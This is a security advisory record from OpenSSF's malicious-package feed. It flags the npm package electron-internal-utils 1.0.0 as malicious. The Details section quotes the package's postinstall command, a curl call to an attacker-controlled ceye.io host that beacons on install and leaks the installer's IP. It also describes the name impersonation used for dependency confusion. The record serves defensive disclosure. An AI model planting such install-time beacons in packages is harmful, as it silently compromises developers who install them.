OpenSSF/OSV advisory MAL-2026-6186 confirms this npm version as malicious. On npm install, package.json's postinstall script executes `curl http://9ph8dp.ceye.io`, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the package was installed on the host and leaks the installer's public IP and DNS resolver metadata. The package ships no functionality (index.js contains only `module.exports = {};`) and its name impersonates the...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in electron-internal-utils (npm)
Details
On npm install, package.json's postinstall script executes `curl http://9ph8dp.ceye.io`, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the package was installed on the host and leaks the installer's public IP and DNS resolver metadata. The package ships no functionality (index.js contains only `module.exports = {};`) and its name impersonates the Electron project's internal-utilities namespace, consistent with a dependency-confusion attack against projects that reference internal Electron helpers. Any environment that runs `npm install` on this package will silently beacon to attacker-controlled infrastructure.
Decision reason
OpenSSF Malicious Packages via OSV confirms electron-internal-utils@1.0.0 as malicious (MAL-2026-6186): Malicious code in electron-internal-utils (npm)